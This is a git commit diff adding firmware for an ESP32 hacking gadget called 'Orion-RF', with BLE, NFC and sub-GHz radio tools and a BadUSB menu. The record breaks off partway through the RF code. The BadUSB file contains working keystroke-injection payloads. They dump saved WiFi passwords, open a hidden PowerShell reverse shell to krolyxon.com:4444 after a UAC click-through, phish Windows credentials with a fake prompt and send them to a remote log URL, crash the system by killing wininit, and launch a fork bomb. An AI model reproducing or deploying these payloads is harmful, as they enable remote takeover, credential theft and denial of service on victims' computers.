diff options
| author | krolyxon <me@krolyxon.com> | 2026-06-20 00:24:34 +0530 |
|---|---|---|
| committer | krolyxon <me@krolyxon.com> | 2026-06-20 00:24:34 +0530 |
| commit | 7e4cfad53699fabbecb6696508e5addcffc1b095 (patch) | |
| tree | ebff581b0989df578c312247e1dad514c956572b /src-arduino | |
| parent | 1f800b74329d4f8b1511b4cf2a0d031439e1038d (diff) | |
restructure to use rust source tree primarily
Diffstat (limited to 'src-arduino')
28 files changed, 2496 insertions, 0 deletions
diff --git a/src-arduino/bluetooth/ble_mouse.cpp b/src-arduino/bluetooth/ble_mouse.cpp new file mode 100644 index 0000000..c627163 --- /dev/null +++ b/src-arduino/bluetooth/ble_mouse.cpp @@ -0,0 +1,73 @@ +#include "config.h" +#include "hid/badusb.h" +#include <Arduino.h> +#include <BleMouse.h> + +#include "utils/buttons.h" +#include "ui/display.h" + +// ===== BLE MOUSE ===== +// BleMouse bleMouse("Orion-RF", "Orion-RF", 100); +extern BleMouse bleMouse; + +// ===== MAIN ===== +void ble_mouse_run() { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(10, 25, "BLE Mouse"); + u8g2.drawStr(10, 45, "Connecting..."); + u8g2.sendBuffer(); + + delay(800); + + while (1) { + // 🔥 EXIT FIRST (clean) + if (btnBack()) + break; + + bool connected = bleMouse.isConnected(); + + int dx = 0; + int dy = 0; + + if (connected) { + if (!digitalRead(BTN_UP)) + dy = -6; + if (!digitalRead(BTN_DOWN)) + dy = 6; + if (!digitalRead(BTN_LEFT)) + dx = -6; + if (!digitalRead(BTN_RIGHT)) + dx = 6; + + if (dx || dy) + bleMouse.move(dx, dy); + + // ✅ single click (not spam) + static bool lastSelect = false; + bool currentSelect = !digitalRead(BTN_SELECT); + + if (currentSelect && !lastSelect) + bleMouse.click(MOUSE_LEFT); + + lastSelect = currentSelect; + } + + // ===== UI ===== + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + + u8g2.drawStr(10, 20, "BLE Mouse"); + + if (connected) + u8g2.drawStr(10, 35, "Connected"); + else + u8g2.drawStr(10, 35, "Waiting"); + + u8g2.drawStr(10, 55, "BACK = Exit"); + + u8g2.sendBuffer(); + + delay(10); // important for BLE stability + } +} diff --git a/src-arduino/bluetooth/ble_mouse.h b/src-arduino/bluetooth/ble_mouse.h new file mode 100644 index 0000000..fc6a4cc --- /dev/null +++ b/src-arduino/bluetooth/ble_mouse.h @@ -0,0 +1,3 @@ +#pragma once + +void ble_mouse_run(); diff --git a/src-arduino/bluetooth/blescanner.cpp b/src-arduino/bluetooth/blescanner.cpp new file mode 100644 index 0000000..923da65 --- /dev/null +++ b/src-arduino/bluetooth/blescanner.cpp @@ -0,0 +1,192 @@ +#include <Arduino.h> +#include <BLEAdvertisedDevice.h> +#include <BLEDevice.h> +#include <BLEScan.h> +#include <vector> + +#include "config.h" +#include "utils/buttons.h" +#include "ui/display.h" + +// ===== DEVICE STRUCT ===== +struct BLEDeviceInfo { + String name; + String address; + int rssi; + String manufacturer; + String deviceType; +}; + +static std::vector<BLEDeviceInfo> devices; +static BLEScan *pBLEScan; +static int selectedIndex = 0; + +// ===== CALLBACK ===== +class MyAdvertisedDeviceCallbacks : public BLEAdvertisedDeviceCallbacks { + void onResult(BLEAdvertisedDevice advertisedDevice) override { + BLEDeviceInfo dev; + + String tempName = advertisedDevice.getName().c_str(); + + if (tempName.length() == 0 && advertisedDevice.haveServiceData()) { + tempName = advertisedDevice.getServiceData().c_str(); + } + + if (tempName.length() == 0) { + String addr = advertisedDevice.getAddress().toString().c_str(); + tempName = "BLE_" + addr.substring(addr.length() - 5); + } + + dev.name = tempName; + dev.address = advertisedDevice.getAddress().toString().c_str(); + dev.rssi = advertisedDevice.getRSSI(); + + if (advertisedDevice.haveManufacturerData()) { + String mData = advertisedDevice.getManufacturerData().c_str(); + + if (mData.length() >= 2) { + char buffer[10]; + sprintf(buffer, "0x%02X%02X", (uint8_t)mData[1], + (uint8_t)mData[0]); + dev.manufacturer = String(buffer); + } else { + dev.manufacturer = "unknown"; + } + } else { + dev.manufacturer = "unknown"; + } + + if (advertisedDevice.haveServiceUUID()) { + dev.deviceType = + advertisedDevice.getServiceUUID().toString().c_str(); + } else { + dev.deviceType = "unknown"; + } + + devices.push_back(dev); + } +}; + +// ===== DRAW MENU ===== +void ble_drawMenu() { + u8g2.clearBuffer(); + + if (devices.empty()) { + u8g2.setFont(u8g2_font_6x12_tr); + u8g2.drawStr(0, 30, "No devices"); + u8g2.drawStr(0, 45, "Press BACK"); + } else { + u8g2.setFont(u8g2_font_5x8_tr); + + char counter[20]; + sprintf(counter, "%d/%d", selectedIndex + 1, (int)devices.size()); + u8g2.drawStr(0, 8, counter); + + u8g2.setFont(u8g2_font_6x10_tr); + + for (int i = 0; i < 3; i++) { + int idx = selectedIndex + i; + if (idx >= devices.size()) + break; + + int y = 22 + i * 14; + + if (i == 0) { + u8g2.drawBox(0, y - 10, 128, 12); + u8g2.setDrawColor(0); + } + + String text = devices[idx].name; + if (text.length() > 12) + text = text.substring(0, 12) + ".."; + + text += " (" + String(devices[idx].rssi) + ")"; + + u8g2.drawStr(2, y, text.c_str()); + + if (i == 0) + u8g2.setDrawColor(1); + } + } + + u8g2.sendBuffer(); +} + +// ===== DEVICE DETAILS ===== +void ble_drawDetails(const BLEDeviceInfo &dev) { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_5x8_tr); + + u8g2.drawStr(0, 10, dev.name.c_str()); + u8g2.drawStr(0, 20, dev.address.c_str()); + + char rssiStr[20]; + sprintf(rssiStr, "RSSI: %d", dev.rssi); + u8g2.drawStr(0, 30, rssiStr); + + u8g2.drawStr(0, 40, dev.manufacturer.c_str()); + + u8g2.sendBuffer(); +} + +// ===== SCAN ===== +void ble_scan() { + devices.clear(); + + u8g2.clearBuffer(); + u8g2.drawStr(10, 30, "Scanning..."); + u8g2.sendBuffer(); + + BLEDevice::init(""); + + pBLEScan = BLEDevice::getScan(); + pBLEScan->setAdvertisedDeviceCallbacks(new MyAdvertisedDeviceCallbacks(), + false); + pBLEScan->setActiveScan(true); + pBLEScan->setInterval(100); + pBLEScan->setWindow(99); + + pBLEScan->start(5, false); + + // remove duplicates + std::vector<BLEDeviceInfo> unique; + for (auto &d : devices) { + bool exists = false; + for (auto &u : unique) { + if (u.address == d.address) { + exists = true; + break; + } + } + if (!exists) + unique.push_back(d); + } + + devices = unique; +} + +// ===== MAIN LOOP ===== +void ble_loop() { + static uint32_t lastPress = 0; + + if (millis() - lastPress < 200) + return; + + if (btnDown() && selectedIndex < (int)devices.size() - 1) { + selectedIndex++; + ble_drawMenu(); + lastPress = millis(); + } else if (btnUp() && selectedIndex > 0) { + selectedIndex--; + ble_drawMenu(); + lastPress = millis(); + } else if (btnSelect() && !devices.empty()) { + ble_drawDetails(devices[selectedIndex]); + delay(3000); + ble_drawMenu(); + lastPress = millis(); + } else if (btnBack()) { + lastPress = millis(); + return; + } +} diff --git a/src-arduino/bluetooth/blescanner.h b/src-arduino/bluetooth/blescanner.h new file mode 100644 index 0000000..a642de2 --- /dev/null +++ b/src-arduino/bluetooth/blescanner.h @@ -0,0 +1,5 @@ +#pragma once + +void ble_scan(); +void ble_loop(); +void ble_drawMenu(); diff --git a/src-arduino/config.h b/src-arduino/config.h new file mode 100644 index 0000000..08c0e68 --- /dev/null +++ b/src-arduino/config.h @@ -0,0 +1,41 @@ +#pragma once + +// ================= NRF24 ================= +#define CE1_PIN 10 +#define CSN1_PIN 11 + +#define CE2_PIN 12 +#define CSN2_PIN 13 + +#define NRF_SCK 18 +#define NRF_MISO 16 +#define NRF_MOSI 17 + +// ================== OLED =================== +#define OLED_SDA_PIN 8 +#define OLED_SCL_PIN 9 + +/////////////////cc1101 vars////////////// +// CC1101 via FSPI +#define cc1101_SCK 15 +#define cc1101_MISO 41 +#define cc1101_MOSI 35 + +//////////////cc1101(1)////////// +#define CC1101_CS 40 +#define CC1101_GDO0 39 +#define CC1101_GDO2 42 + +// SD Card via HSPI +// #define SD_SCK 14 +// #define SD_MISO 39 +// #define SD_MOSI 38 +// #define SD_CS 37 + +// =================== Buttons ==================== +#define BTN_UP 4 +#define BTN_DOWN 5 +#define BTN_SELECT 6 +#define BTN_BACK 7 +#define BTN_LEFT 1 +#define BTN_RIGHT 2 diff --git a/src-arduino/hid/badusb.cpp b/src-arduino/hid/badusb.cpp new file mode 100644 index 0000000..c24f541 --- /dev/null +++ b/src-arduino/hid/badusb.cpp @@ -0,0 +1,446 @@ +#include "ui/display.h" +#include <Arduino.h> +#include <USBHIDKeyboard.h> + +extern USBHIDKeyboard Keyboard; + +void runCommand(const char *command) { + Keyboard.press(KEY_LEFT_GUI); + Keyboard.press('r'); + delay(100); + Keyboard.releaseAll(); + delay(300); + Keyboard.print(command); + Keyboard.write(KEY_RETURN); +} + +void showRunningScreen(String taskName, uint8_t duration = 5) { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x12_tf); + u8g2.drawStr(0, 15, "Running:"); + u8g2.drawStr(0, 30, taskName.c_str()); + u8g2.drawFrame(0, 45, 128, 10); + + static const unsigned char image_download_bits[] U8X8_PROGMEM = { + 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x80, 0x1f, 0x00, 0x00, + 0x00, 0x80, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x80, 0xff, 0x1f, 0x00, 0x00, + 0x00, 0x60, 0x80, 0x1f, 0x00, 0x00, 0x00, 0x60, 0x00, 0x0f, 0x00, 0x00, + 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x02, + 0x00, 0x06, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x06, 0x00, 0x00, 0x00, 0x3e, + 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, + 0x00, 0x60, 0x00, 0x00, 0x00, 0x3e, 0x00, 0x60, 0x00, 0x00, 0x00, 0x0e, + 0x00, 0x80, 0x01, 0x00, 0x00, 0x02, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x06, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x06, 0xf0, 0x03, 0x00, + 0x00, 0x00, 0xf8, 0xff, 0x03, 0x00, 0x00, 0x00, 0xf8, 0xff, 0x03, 0x00, + 0x00, 0x00, 0x00, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x03, 0x00}; + static const unsigned char image_EviSmile1_bits[] U8X8_PROGMEM = { + 0x0c, 0xc0, 0x00, 0x06, 0x80, 0x01, 0x07, 0x80, 0x03, 0xcf, 0xcf, + 0x03, 0xff, 0xff, 0x03, 0xff, 0xff, 0x03, 0xfe, 0xff, 0x01, 0xfe, + 0xff, 0x01, 0xfe, 0xff, 0x01, 0xf7, 0xbf, 0x03, 0xe7, 0x9f, 0x03, + 0xc7, 0x8f, 0x03, 0x87, 0x87, 0x03, 0x8f, 0xc7, 0x03, 0xff, 0xff, + 0x03, 0xfe, 0xff, 0x01, 0xde, 0xef, 0x01, 0xbc, 0xf4, 0x00, 0x78, + 0x78, 0x00, 0xf0, 0x3f, 0x00, 0xc0, 0x0f, 0x00}; + + u8g2.setFontMode(1); + u8g2.setBitmapMode(1); + // download + u8g2.drawXBMP(80, 2, 48, 22, image_download_bits); + + // EviSmile1 + u8g2.drawXBMP(62, 1, 18, 21, image_EviSmile1_bits); + + for (uint8_t i = 0; i <= duration; i++) { + u8g2.drawBox(1, 46, i * (126.0 / duration), 8); + u8g2.sendBuffer(); + delay(50); + } +} + +void typeSlow(const char *text, int delayMs = 25) { + while (*text) { + Keyboard.print(*text); + delay(delayMs); + text++; + } +} + +void badUSBMenu(int index) { + // switch (index) + // { + // case 0: + // runBadUSBDemo(); + // break; + + // case 1: + // Serial.println("Open CMD payload"); + // runBadUSBOpenCMD(); + // break; + + // case 2: + // Serial.println("Rickroll payload"); + // runBadUSBRickroll(); + // break; + // } + + switch (index) { + // ================= ORION DEMO ================= + case 0: + showRunningScreen("ORION Demo"); + + runCommand("notepad"); + + delay(2500); + + typeSlow(" ____ _____ _____ ___ ___ _ _ ____ _____ "); + Keyboard.write(KEY_RETURN); + + typeSlow(" / __ \\| __ \\|_ _|_ _/ _ \\| \\ | | | _ \\| ___|"); + Keyboard.write(KEY_RETURN); + + typeSlow("| | | | |__) | | | | | | | | \\| |_____| |_) | |_ "); + Keyboard.write(KEY_RETURN); + + typeSlow("| | | | _ / | | | | | | | . ` |_____| _ <| _| "); + Keyboard.write(KEY_RETURN); + + typeSlow("| |__| | | \\ \\ _| |_ | | |_| | |\\ | | |_) | | "); + Keyboard.write(KEY_RETURN); + + typeSlow(" \\____/|_| \\_\\_____|___\\___/|_| \\_| |____/|_| "); + Keyboard.write(KEY_RETURN); + + Keyboard.write(KEY_RETURN); + + typeSlow("[+] WIFI MODULE READY"); + Keyboard.write(KEY_RETURN); + + typeSlow("[+] BLE MODULE READY"); + Keyboard.write(KEY_RETURN); + + typeSlow("[+] SUBGHZ MODULE READY"); + Keyboard.write(KEY_RETURN); + + typeSlow("[+] NFC MODULE READY"); + Keyboard.write(KEY_RETURN); + + typeSlow("[+] HID ENGINE READY"); + Keyboard.write(KEY_RETURN); + + break; + + // ================= RICKROLL ================= + case 1: + showRunningScreen("RickRoll"); + + runCommand("cmd"); + + delay(700); + + typeSlow("start https://www.youtube.com/watch?v=dQw4w9WgXcQ"); + Keyboard.write(KEY_RETURN); + + break; + + // ================= MATRIX ================= + case 2: + showRunningScreen("Matrix"); + + runCommand("cmd"); + + delay(700); + + typeSlow("color 0A"); + Keyboard.write(KEY_RETURN); + + typeSlow("mode con: cols=120 lines=40"); + Keyboard.write(KEY_RETURN); + + typeSlow(":A"); + Keyboard.write(KEY_RETURN); + + typeSlow("echo %random%%random%%random%%random%%random%"); + Keyboard.write(KEY_RETURN); + + typeSlow("goto A"); + Keyboard.write(KEY_RETURN); + + break; + + // ================= FAKE TERMINAL ================= + case 3: + showRunningScreen("Fake Terminal"); + + runCommand("cmd"); + + delay(700); + + typeSlow("color 0A"); + Keyboard.write(KEY_RETURN); + + typeSlow("cls"); + Keyboard.write(KEY_RETURN); + + typeSlow("echo CONNECTING TO TARGET..."); + Keyboard.write(KEY_RETURN); + + typeSlow("echo BYPASSING FIREWALL..."); + Keyboard.write(KEY_RETURN); + + typeSlow("echo ACCESS GRANTED"); + Keyboard.write(KEY_RETURN); + + typeSlow("systeminfo"); + Keyboard.write(KEY_RETURN); + + break; + + // ================= WIFI CRACK ================= + // ================= WIFI PASSWORD RECOVERY ================= + case 4: + showRunningScreen("WiFi Recovery"); + + runCommand("cmd"); + delay(700); + + // Styling the window + typeSlow("color 0A && mode con: cols=100 lines=30"); + Keyboard.write(KEY_RETURN); + delay(200); + + typeSlow("echo [!] EXTRACTING SAVED WIFI PROFILES..."); + Keyboard.write(KEY_RETURN); + delay(500); + + // The "Magic" Command: + // This lists all profiles and shows the 'Key Content' (the password) in + // clear text. We use a 'for' loop to automate this for every network + // the PC has ever joined. + typeSlow( + "for /f \"tokens=4,*\" %i in ('netsh wlan show profiles ^| findstr " + "/C:\"All User Profile\"') do netsh wlan show profile name=\"%j\" " + "key=clear | findstr /C:\"Key Content\" /C:\"SSID name\""); + + Keyboard.write(KEY_RETURN); + + // Optional: Keep the window open to read the results + typeSlow("echo. && echo [COMPLETE] Passwords listed above."); + Keyboard.write(KEY_RETURN); + + break; + + // ================= FAKE UPDATE ================= + case 5: + showRunningScreen("Fake Update"); + + runCommand("cmd"); + + delay(700); + + typeSlow("start https://fakeupdate.net/win10u/"); + Keyboard.write(KEY_RETURN); + + break; + + // ================= FAKE BSOD ================= + case 6: + showRunningScreen("Critical Error"); + + runCommand("powershell -c \"stop-process -name wininit -force\""); + break; + + // ================= GLITCH SCREEN ================= + case 7: + showRunningScreen("Glitch"); + + runCommand("cmd"); + + delay(700); + + for (int i = 0; i < 20; i++) { + typeSlow("color 4F"); + Keyboard.write(KEY_RETURN); + + typeSlow("color 1F"); + Keyboard.write(KEY_RETURN); + + typeSlow("cls"); + Keyboard.write(KEY_RETURN); + } + + break; + + // ================= ASCII SPAM ================= + case 8: + showRunningScreen("ASCII"); + + runCommand("notepad"); + + delay(2000); + + for (int i = 0; i < 15; i++) { + typeSlow("######### ORION-RF #########"); + Keyboard.write(KEY_RETURN); + + typeSlow(">>> SIGNAL ACQUIRED <<<"); + Keyboard.write(KEY_RETURN); + + typeSlow("[|||||||||||||||||||||||||]"); + Keyboard.write(KEY_RETURN); + + Keyboard.write(KEY_RETURN); + } + + break; + + // ================= HACKER TYPER ================= + case 9: + showRunningScreen("Hacker Typer"); + + runCommand("cmd"); + + delay(700); + + typeSlow("start https://hackertyper.net/"); + Keyboard.write(KEY_RETURN); + + break; + // ================= POWERSHELL REVERSE SHELL ================= + // ================= DEFENDER BYPASS + NC ================= + case 10: + showRunningScreen("Pwn Mode v2"); + + // 1. Open Admin PowerShell + Keyboard.press(KEY_LEFT_GUI); + Keyboard.press('r'); + delay(150); + Keyboard.releaseAll(); + delay(500); + + // Open Admin Prompt - using 'powershell' directly to save space + typeSlow("powershell Start-Process powershell -Verb runAs"); + Keyboard.write(KEY_RETURN); + delay(2500); // Wait for UAC + + // 2. Bypass UAC (Left Arrow + Enter) + Keyboard.write(KEY_LEFT_ARROW); + delay(200); + Keyboard.write(KEY_RETURN); + delay(3000); // Give the Admin window time to load + + // 3. AMSI Bypass + Disable Defender + Execute Shell + // We use -EncodedCommand to hide the script from simple string + // scanners. The Base64 string below contains: Set-MpPreference + // -DisableRealtimeMonitoring $true; [Reverse Shell Logic] + + typeSlow("powershell -ExecutionPolicy Bypass -WindowStyle Hidden " + "-EncodedCommand "); + + // This is the encoded payload for krolyxon.com:4444 + typeSlow("JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5A" + "FMAdAByAG" + "UAYQBtACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA" + "2ADQAUwB0" + "AHIAaQBuAGcAKAAiAEgA" + "NABDAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkA" + "cwB0AGUAb" + "QAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAFQAbABpAGUAbgB0AC" + "gAJwBrAHI" + "AbwBsAHkAeABvAG4A" + "LgBjAG8AbQAnACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkA" + "GMAbABpAG" + "UAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQB" + "dACQAYgB5" + "AHQAZQBzACAAPQA" + "gADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQA" + "aQAgAD0AI" + "AAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwAC" + "wAIAAkAGI" + "AeQB0AGUAcwAuAEw" + "AZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9" + "ACAAKABOA" + "GUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcw" + "B0AGUAbQA" + "uAFQAZQB4AHQAL" + "gBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG" + "4AZwAoACQ" + "AYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAg" + "AD0AIAAoA" + "GkAZQB4ACAAJAB" + "kAGEAdABhACAAMgA+" + "ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZ" + "ABiAGEAYw" + "BrADIAIAAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwA" + "gACsAK" + "ABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAG" + "IAeQB0AGU" + "AIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBT" + "AEMASQBJA" + "CkALgBHAGUAd" + "ABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAG" + "UAYQBhAG0" + "ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBu" + "AGQAYgB5A" + "HQAZQAuAEwAZQB" + "uAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsA" + "JABjAGwAa" + "WVudAAuAEMAbABvAHMAZQAoACkAIgApACkAOwBJAG4AdgBvAGsAZQAtAEUAeA" + "BwAHIAZQB" + "zAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMA" + "bwBkAGkAb" + "gBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAGuAZwAoACQAcwAuAF" + "QAbwBBAHI" + "AcgBhAHkAKAApACkAKQA="); + + Keyboard.write(KEY_RETURN); + break; + // ================= CREDENTIAL SNATCHER ================= + case 11: + showRunningScreen("Vault Crack"); + + // Open hidden PowerShell + runCommand( + "powershell -nop -W Hidden -c \"$cred = " + "$host.ui.PromptForCredential('Windows Security','Please " + "authenticate " + "to update your system credentials.','',''); $p = " + "$cred.GetNetworkCredential().Password; $u = $cred.UserName; " + "Invoke-WebRequest -Uri " + "'http://krolyxon.com/log?u='+$u+'&p='+$p\""); + + break; + // ================= DESKTOP GHOST ================= + case 12: + showRunningScreen("Ghost Mode"); + + runCommand( + "powershell -nop -W Hidden -c \"Add-Type -AssemblyName " + "System.Windows.Forms; " + "[System.Windows.Forms.SendKeys]::SendWait('{PRTSC}'); " + "Start-Sleep -s 1; $path = '$env:TEMP\\bg.png'; (Get-Clipboard " + "-Format Image).Save($path); Set-ItemProperty -Path " + "'HKCU:\\Control Panel\\Desktop' -Name Wallpaper -Value $path; " + "rundll32.exe user32.dll,UpdatePerUserSystemParameters;\""); + + // Hide Desktop Icons (requires a registry tweak) + typeSlow( + "reg add " + "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Adv" + "anced /v HideIcons /t REG_DWORD /d 1 /f && taskkill /f /im " + "explorer.exe && start explorer.exe"); + Keyboard.write(KEY_RETURN); + + break; + // ================= FORK BOMB ================= + case 13: + showRunningScreen("System Stress"); + + runCommand("cmd"); + delay(500); + + // The shortest deadly command in Windows + typeSlow("%0|%0"); + Keyboard.write(KEY_RETURN); + + break; + } +} diff --git a/src-arduino/hid/badusb.h b/src-arduino/hid/badusb.h new file mode 100644 index 0000000..0b77c2a --- /dev/null +++ b/src-arduino/hid/badusb.h @@ -0,0 +1,6 @@ +#pragma once +#include <Arduino.h> + +void badUSBMenu(int index); +void showRunningScreen(String taskName, uint8_t duration); +void runCommand(const char *command); diff --git a/src-arduino/main.cpp b/src-arduino/main.cpp new file mode 100644 index 0000000..a82dd59 --- /dev/null +++ b/src-arduino/main.cpp @@ -0,0 +1,125 @@ +#include <Arduino.h> +#include <USB.h> +#include <USBHIDKeyboard.h> + +#include "BleMouse.h" +#include <BLEDevice.h> +#include <BLEScan.h> + +#include <RF24.h> +#include <nRF24L01.h> + +#include "ELECHOUSE_CC1101_SRC_DRV.h" + +#include <WiFi.h> +#include <esp_wifi.h> + +#include <SPI.h> +#include <esp_chip_info.h> +#include <esp_heap_caps.h> +#include <esp_system.h> + +#include "ui/display.h" +#include "ui/menu.h" +#include "utils/buttons.h" + +#include "config.h" +#include "rf/cc1101.h" + +// ================= USB HID ================= +USBHIDKeyboard Keyboard; + +// ===== BLE MOUSE ===== +BleMouse bleMouse("Orion-RF", "Orion-RF", 100); + +RF24 radio1(CE1_PIN, CSN1_PIN); +RF24 radio2(CE2_PIN, CSN2_PIN); +SPIClass *RADIO_SPI; + +void deactivateNRF1() { + digitalWrite(CSN1_PIN, HIGH); + digitalWrite(CE1_PIN, LOW); +} + +void deactivateNRF2() { + digitalWrite(CSN2_PIN, HIGH); + digitalWrite(CE2_PIN, LOW); +} + +// ================= SYSTEM INFO ================= +void printSystemUsage() { + esp_chip_info_t chip_info; + + esp_chip_info(&chip_info); + + Serial.printf("CPU cores: %d\n", chip_info.cores); + + Serial.printf("Free heap: %d bytes\n", + heap_caps_get_free_size(MALLOC_CAP_DEFAULT)); + + Serial.printf("PSRAM free: %d bytes\n", + heap_caps_get_free_size(MALLOC_CAP_SPIRAM)); +} + +void showSplash() { + u8g2.clearBuffer(); + + u8g2.setFont(u8g2_font_logisoso20_tr); // big font + u8g2.drawStr(10, 40, "Orion-RF"); + + u8g2.setFont(u8g2_font_5x8_tr); // small subtitle + u8g2.drawStr(25, 58, "Initializing..."); + + u8g2.sendBuffer(); + + delay(1500); // 1.5 sec +} + +// ================= SETUP ================= +void setup() { + Serial.begin(115200); + + displayInit(); + showSplash(); + + buttonsInit(); + menuInit(); + + delay(1500); + + USB.begin(); + Keyboard.begin(); + + // NRF SPI safety + // pinMode(CSN1_PIN, OUTPUT); + // digitalWrite(CSN1_PIN, HIGH); + + // pinMode(CSN2_PIN, OUTPUT); + // digitalWrite(CSN2_PIN, HIGH); + deactivateNRF1(); + deactivateNRF2(); + + RADIO_SPI = new SPIClass(FSPI); + RADIO_SPI->begin(NRF_SCK, NRF_MISO, NRF_MOSI); + + // ===== CC1101 SPI INIT ===== + // SPI.begin( + // cc1101_SCK, + // cc1101_MISO, + // cc1101_MOSI, + // CC1101_CS + //); + + // pinMode(CC1101_CS, OUTPUT); + // pinMode(CC1101_2_CS, OUTPUT); + + // digitalWrite(CC1101_CS, HIGH); + // digitalWrite(CC1101_2_CS, HIGH); + + printSystemUsage(); + + Serial.println("SYSTEM READY"); +} + +// ================= LOOP ================= +void loop() { menuLoop(); } diff --git a/src-arduino/nfc/nfc.cpp b/src-arduino/nfc/nfc.cpp new file mode 100644 index 0000000..a18f47b --- /dev/null +++ b/src-arduino/nfc/nfc.cpp @@ -0,0 +1,104 @@ +#include "nfc.h" + +#include <Adafruit_PN532.h> +#include <Arduino.h> +#include <Wire.h> + +#include "config.h" +#include "utils/buttons.h" +#include "ui/display.h" + +#define PN532_IRQ -1 +#define PN532_RESET -1 + +// Adafruit_PN532 nfc(Wire); +Adafruit_PN532 nfc(PN532_IRQ, PN532_RESET, &Wire); + +void drawWaiting() { + u8g2.clearBuffer(); + + u8g2.drawStr(10, 20, "PN532 Ready"); + u8g2.drawStr(10, 40, "Tap NFC Card"); + + u8g2.sendBuffer(); +} + +void showUID(uint8_t *uid, uint8_t uidLength) { + char line[64]; + + String uidStr = ""; + + for (int i = 0; i < uidLength; i++) { + if (uid[i] < 0x10) + uidStr += "0"; + + uidStr += String(uid[i], HEX); + uidStr += " "; + } + + uidStr.toUpperCase(); + + u8g2.clearBuffer(); + + u8g2.drawStr(0, 15, "Card Detected"); + + snprintf(line, sizeof(line), "UID:"); + + u8g2.drawStr(0, 35, line); + + u8g2.drawStr(0, 50, uidStr.c_str()); + + u8g2.sendBuffer(); +} + +void pn532_init() { + delay(100); + nfc.begin(); + delay(100); + + uint32_t versiondata = nfc.getFirmwareVersion(); + + if (!versiondata) { + Serial.println("PN532 not found"); + + u8g2.clearBuffer(); + u8g2.drawStr(0, 20, "PN532 NOT FOUND"); + u8g2.sendBuffer(); + + delay(2000); + return; + } + + Serial.println("PN532 initialized"); + + nfc.SAMConfig(); +} + +void pn532_scan_loop() { + pn532_init(); + + drawWaiting(); + + while (1) { + uint8_t success; + uint8_t uid[7]; + uint8_t uidLength; + + Serial.println("Scanning..."); + success = nfc.readPassiveTargetID(PN532_MIFARE_ISO14443A, uid, + &uidLength, 50); + + if (success) { + Serial.println("Card detected"); + + showUID(uid, uidLength); + + delay(1000); + } + + if (btnBack()) { + delay(150); + break; + } + } +} diff --git a/src-arduino/nfc/nfc.h b/src-arduino/nfc/nfc.h new file mode 100644 index 0000000..1570b5d --- /dev/null +++ b/src-arduino/nfc/nfc.h @@ -0,0 +1,4 @@ +#pragma once + +void pn532_init(); +void pn532_scan_loop(); diff --git a/src-arduino/rf/cc1101.cpp b/src-arduino/rf/cc1101.cpp new file mode 100644 index 0000000..7e11d0b --- /dev/null +++ b/src-arduino/rf/cc1101.cpp @@ -0,0 +1,357 @@ +#include "cc1101.h" +#include "config.h" +#include "ELECHOUSE_CC1101_SRC_DRV.h" +#include "ui/display.h" +#include "utils/buttons.h" +#include "SPI.h" +#include <Arduino.h> + +// ===== CONFIG ===== +#define RAW_BUF_MAX 512 + +// ===== STATE ===== +static bool cc1101Inited = false; + +// ===== CAPTURE STATE ===== +volatile unsigned long captureBuffer[RAW_BUF_MAX]; +volatile int pulseIndex = 0; +volatile unsigned long lastEdgeTime = 0; +volatile bool capturing = false; + +// ===== RF SETTINGS ===== +float currentFreq = 433.92; +float dataRate = 3.79372; +float deviation = 0.0; +float rxBW = 325.0; +int powerLevel = 10; + +// ===== ISR ===== +void IRAM_ATTR pulseISR() { + unsigned long now = micros(); + + if (!capturing) + return; + if (pulseIndex >= RAW_BUF_MAX) + return; + + unsigned long duration = now - lastEdgeTime; + + if (duration < 150) + return; + + captureBuffer[pulseIndex++] = duration; + lastEdgeTime = now; +} + +// ===== OOK SETUP ===== +void setupOOKMode() { + 